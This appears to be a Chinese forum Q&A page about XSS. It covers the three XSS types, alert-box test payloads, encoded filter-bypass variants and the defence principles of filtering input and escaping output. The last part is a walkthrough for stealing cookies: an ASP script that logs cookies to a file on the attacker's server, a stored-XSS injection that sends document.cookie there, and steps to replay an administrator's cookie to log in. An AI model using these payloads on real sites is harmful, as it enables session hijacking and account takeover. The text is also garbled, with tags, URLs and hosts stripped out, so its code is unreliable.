XSS跨站漏洞分为大致三种：储存型XSS，反射型XSS，和DOM型XSS，一般都是由于网站对用户输入的参数过滤不严格而调用浏览器的JS而产生的。XSS几乎每个网站都存在，google，百度，360等都存在，存在和危害范围广，危害安全性大。
具体利用的话：
储存型XSS，一般是构造一个比如说"scriptalert("XSS")/script"的JS的弹窗代码进行测试，看是否提交后在页面弹窗，这种储存型XSS是被写入到页面当中的，如果管理员不处理，那么将永久存在，这种XSS攻击者可以通过留言等提交方式，把恶意代码植入到服务器网站上， 一般用于盗取COOKIE获取管理员的信息和权限。
反射型XSS，一般是在浏览器的输入栏也就是urlget请求那里输入XSS代码，例如：127.0.0.1/admin.php?key="scriptalert("xss")/script，也是弹窗JS代码。当攻击者发送一个带有XSS代码的url参数给受害者，那么受害者可能会使自己的cookie被盗取或者“弹框“，这种XSS一次性使用，危害比储存型要小很多。
dom型：常用于挖掘，是因为api代码审计不严所产生的，这种dom的XSS弹窗可利用和危害性并不是很大，大多用于钓鱼。比起存储型和反射型，DOM型并不常用。
缺点：
1、耗时间
2、有一定几率不成功
3、没有相应的软件来完成自动化攻击
4、前期需要基本的html、js功底，后期需要扎实的html、js、actionscript2/3.0等语言的功底
5、是一种被动的攻击手法
6、对website有http-only、crossdomian.xml没有用
所以楼主如果想更加深层次的学习XSS的话，最好有扎实的前后端开发基础，还要学会代码审计等等。
推荐的话，书籍建议看看《白帽子讲web安全》，《XSS跨站脚本攻击剖析与防御》
一般配合的话，kalilinux里面的BEFF是个很著名的XSS漏洞利用工具，楼主有兴趣可以去看看。
纯手工打字，望楼主采纳。
如果存在没有任何过滤的XSS漏洞，那么输入"/scriptalert(/a/)/script就可以弹窗了
☺ scriptalert('XSS')/script 是 js 脚本语言，在浏览器中的效果是弹窗, 弹窗内容是 'xss'; 这也是 xss 的常举示例。
对于的用户输入中出现XSS漏洞的问题，主要是由于开发人员对XSS了解不足，安全的意识不够造成的。现在让我们来普及一下XSS的一些常识，以后在开发的时候，每当有用户输入的内容时，都要加倍小心。请记住两条原则：过滤输入和转义输出。
一、什么是XSS
XSS又叫CSS (Cross Site Script) ，跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意的特殊目的。XSS属于被动式的攻击，因为其被动且不好利用，所以许多人常呼略其危害性。
在WEB2.0时代，强调的是互动，使得用户输入信息的机会大增，在这个情况下，我们作为开发者，在开发的时候，要提高警惕。
二、XSS攻击的主要途径
XSS攻击方法只是利用HTML的属性，作各种的尝试，找出注入的方法。现在对三种主要方式进行分析。
第一种：对普通的用户输入，页面原样内容输出。
打开(限公司IP)，输 入：scriptalert(‘xss’)/script， JS脚本顺利执行。当攻击者找到这种方法后，就可以传播这种链接格式的链接 （）如：http: //go.ent.163.com/goproducttest/test.jsp?key=scriptalert(‘xss’) lt;/script，并对JSCODE做适当伪装，如：
%74%3e%61%6c%65%72%74%28%27%78%73%73%27%29%3c%2f%73%63%72%69%70%74%3e,当其 它用户当点此链接的时候，JS就运行了，造成的后果会很严重，如跳去一个有木马的页面、取得登陆用户的COOKIE等。
第二种：在代码区里有用户输入的内容
原则就是，代码区中，绝对不应含有用户输入的东西。
第三种：允许用户输入HTML标签的页面。
用户可以提交一些自定义的HTML代码，这种情况是最危险的。因为，IE浏览器默认采用的是UNICODE编码，HTML编码可以用ASCII方式来写，又可以使用”/”连接16进制字符串来写，使得过滤变得异常复杂，如下面的四个例子，都可以在IE中运行。
1，直接使用JS脚本。
img src=”javascript:alert(‘xss’)” /
2，对JS脚本进行转码。
img src=”javascript:alert(‘xss’)” /
3，利用标签的触发条件插入代码并进行转码。
img onerror=”alert(‘xss’)” /
4，使用16进制来写(可以在傲游中运行)
img STYLE=”background-image: /75/72/6c/28/6a/61/76/61/73/63/72/69/70/74/3a/61/6c/65/72/74/28/27/58/53/53/27/29/29″
以上写法等于img STYLE=”background-image: url(javascript:alert(‘XSS’))”
三、XSS攻击解决办法
请记住两条原则：过滤输入和转义输出。
具体执行的方式有以下几点：
第一、在输入方面对所有用户提交内容进行可靠的输入验证，提交内容包括URL、查询关键字、http头、post数据等
第二、在输出方面，在用户输内容中使用XMP标签。标签内的内容不会解释，直接显示。
第三、严格执行字符输入字数控制。
四、在脚本执行区中，应绝无用户输入。
XSS获取cookie并利用
获取cookie利用代码cookie.asp
html
titlexx/title
body
%testfile = Server.MapPath('code.txt') //先构造一个路径，也就是取网站根目录，创造一个在根目录下的code.txt路径，保存在testfile中
msg = Request('msg') //获取提交过来的msg变量，也就是cookie值
set fs = server.CreateObject('scripting.filesystemobject')//创建一个fs对象
set thisfile = fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(''msg'')//像code.txt中写入获取来的cookie
thisfile.close() //关闭
set fs = nothing%
/body
/html
把上述文件保存为cookie.asp文件，放到你自己的网站服务器下。比如这里我们自己搭建的服务器为：。
XSS构造语句
scriptwindow.open(''+document.cookie)/script
把上述语句放到你找到的存在XSS的目标中，不过这里最好是存储型xss，比如你找到了某个博客或者论坛什么的存在存储型XSS，你在里面发一篇帖子或者留上你的评论，内容就是上述语句，当其他用户或者管理员打开这个评论或者帖子链接后，就会触发，然后跳转到'+document.cookie的页面，然后当前账户的coolie信息就当成参数发到你的网站下的文件里了。然后的然后你就可以那这个cookie登陆了。。。。。。
简单步骤如下：
1、在存在漏洞的论坛中发日志：
X
2、然后以管理远登陆，进入后页面会跳转，此时cookie就发送到你的服务器下的code.txt文件中了：
3、这是没有账户前的登陆界面：
4、打开firefox的Tamper Data插件，点击Start Tamper开始抓取信息，刷新登陆界面，然后会跳出对话框，点击Tamper按钮，在途中的cookie一栏中替换掉你抓取到的cookie，单击确定发送请求数据：
5、替换cookie后不用输用户名密码就顺利进入管理员账户了：
我来说两句